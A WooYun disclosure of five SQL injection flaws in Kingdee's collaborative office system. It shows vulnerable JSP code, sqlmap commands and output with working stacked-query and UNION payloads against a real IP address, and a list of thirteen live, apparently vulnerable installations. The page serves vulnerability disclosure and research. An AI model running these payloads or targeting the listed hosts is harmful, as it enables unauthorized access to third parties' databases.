当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134868

漏洞标题:金蝶协作办公系统存在五个高危SQL注射

相关厂商:金蝶

漏洞作者: 路人甲

提交时间:2015-08-18 16:24

修复时间:2015-11-18 09:32

公开时间:2015-11-18 09:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-18: 细节已通知厂商并且等待厂商处理中
2015-08-20: 厂商已经确认,细节仅向厂商公开
2015-08-23: 细节向第三方安全合作伙伴开放
2015-10-14: 细节向核心白帽子及相关领域专家公开
2015-10-24: 细节向普通白帽子公开
2015-11-03: 细节向实习白帽子公开
2015-11-18: 细节向公众公开

简要描述:

金蝶协作办公系统存在五个高危SQL注射

详细说明:

哪来的自信 给5rank?
存在漏洞的文件为:

/kingdee/person/mail/temp_delete_do.jsp?x=1 x参数存在漏洞
/kingdee/person/doc/perdoc_comment_del.jsp?id=1 id参数存在漏洞
/kingdee/person/cooperation/get_connection_data.jsp?item_id=1 item_id参数存在漏洞
/kingdee/person/cooperation/getTogether.jsp?item_id=1 item_id参数存在漏洞
/kingdee/person/doc/doc_in_do.jsp?dtype=rfile&ids=1,* *处存在漏洞


这5个注入均可以用sqlmap跑出数据:
0x1 /kingdee/person/cooperation/get_connection_data.jsp 部分漏洞代码为

<%
String bbs_id = PubFunc.toString(request.getParameter("bbs_id"));
String item_id = PubFunc.toString(request.getParameter("item_id"));
TableCtrl db = new TableCtrl();
Vector vec=db.open("select A.name,case A.file_type when 6 then A.address+'&cooperation=' else A.address end,B.user_name,A.make_date,A.file_type from cooperation_data A,basic_user B,cooperation_topic C where C.item_id="+item_id+" and C.bbs_id="+bbs_id+" and A.topic_id=C.id and A.maker_id=B.user_id");
%>


sqlmap.py -u "http://221.226.149.17:8080/kingdee/person/cooperation/get_connection_data.jsp?item_id=1"

1.png


0x2 /kingdee/person/cooperation/getTogether.jsp 部分漏洞代码为

<%@page contentType="text/HTML;charset=gbk" import="pub.*,java.util.*"%><%
TableCtrl db = new TableCtrl();
String name=request.getParameter("name");
String item_id=request.getParameter("item_id");
String address=request.getParameter("address");
if(db.getRowCount("select id from cooperation_data where item_id="+item_id+" and (address='"+PubFunc.toSqlStr(address)+"' or name='"+PubFunc.toSqlStr(name)+"')")>0){
out.print(true);
}else{
out.print(false);
}
%>


sqlmap.py -u "http://221.226.149.17:8080/kingdee/person/cooperation/getTogether.jsp?item_id=1"

2.png


0x3 /kingdee/person/doc/doc_in_do.jsp 部分漏洞代码为

int doint = 0;
String tablename = "";
String tableid = "";
if (dtype != null) {
for (int i=0;i<id_arr.length;i++) {
if (id_arr[i] != null && !id_arr[i].equals("")) {
if (dtype.equals("mail"))
sql = "select title,content,attach_id,0,'' from person_mail where mail_id=" + id_arr[i];
else if (dtype.equals("sfile"))


sqlmap.py -u "http://221.226.149.17:8080/kingdee/person/doc/doc_in_do.jsp?dtype=rfile&ids=1,*"

3.png


0x4 /kingdee/person/doc/perdoc_comment_del.jsp 部分漏洞代码为

<%@page import="pub.TableCtrl"%>
<%
String id=request.getParameter("id");
new TableCtrl().exec("delete person_doc_comment where id="+id);
%>


sqlmap.py -u "http://221.226.149.17:8080/kingdee/person/doc/perdoc_comment_del.jsp?id=1"

4.png


0x5 /kingdee/person/mail/temp_delete_do.jsp 部分漏洞代码为

<jsp:useBean scope="page" id="db" class="pub.TableCtrl"/>
<%
String refreshtime = request.getParameter("x");
//out.println(refreshtime);
db.exec("update basic_refresh set ischoose = 1 where refreshtime='"+refreshtime+"'");
db.exec("update basic_refresh set ischoose = 0 where refreshtime !='"+refreshtime+"'");
response.sendRedirect("refresh.jsp");
%>


sqlmap.py -u "http://221.226.149.17:8080/kingdee/person/mail/temp_delete_do.jsp?x=1"

5.png


跑出的测试数据:

sqlmap.py -u "http://221.226.149.17:8080/kingdee/person/cooperation/get_connection_data.jsp?item_id=1" --dbs

data.png


提供几个案例:

http://221.226.149.17:8080/kingdee/login/loginpage.jsp
http://122.139.60.103:800/kingdee/login/loginpage.jsp
http://oa.guanhao.com:8080/kingdee/login/loginpage.jsp
http://222.179.238.182:8082/kingdee/login/loginpage2.jsp
http://222.134.77.23:8080/kingdee/login/loginpage.jsp
http://221.4.245.218:8080/kingdee/login/loginpage.jsp
http://221.226.149.17:8080/kingdee/login/loginpage.jsp
http://220.189.244.202:8080/kingdee/login/loginpage.jsp
http://222.133.44.10:8080/kingdee/login/loginpage.jsp
http://223.95.183.6:8080/kingdee/login/loginpage.jsp
http://61.190.20.51/kingdee/login/loginpage.jsp
http://60.194.110.187/kingdee/login/loginpage.jsp
http://oa.roen.cn/kingdee/login/loginpage.jsp

漏洞证明:

SQLMAP直接跑出的数据:

sqlmap.py -u "http://221.226.149.17:8080/kingdee/person/cooperation/get_connection_data.jsp?item_id=1" --dbs


_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150423}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:35:01
[22:35:01] [INFO] resuming back-end DBMS 'microsoft sql server'
[22:35:01] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: item_id (GET)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: item_id=1;WAITFOR DELAY '0:0:5'--
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: item_id=1 UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(120)+CHAR(112)+CHAR(113)+CHAR(108)+CHAR(114)+CHAR(119)+CHAR(113)+CHAR(117)+CHAR(103)+CHAR(74)+CHAR(113)+CHAR(77)+CHAR(68)+CHAR(113)+CHAR(120)+CHAR(112)+CHAR(112)+CHAR(113),NULL,NULL,NULL,NULL--
---
[22:35:01] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2008
[22:35:01] [INFO] fetching database names
available databases [7]:
[*] coa
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[22:35:01] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\221.226.149.17'
[*] shutting down at 22:35:01

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-08-20 09:30

厂商回复:

谢谢对金蝶的关注,此产品为合作伙伴产品,我们已通知相关部门为客户修复。已经有很多此系统的上报漏洞,故rank给的低,请理解。

最新状态:

暂无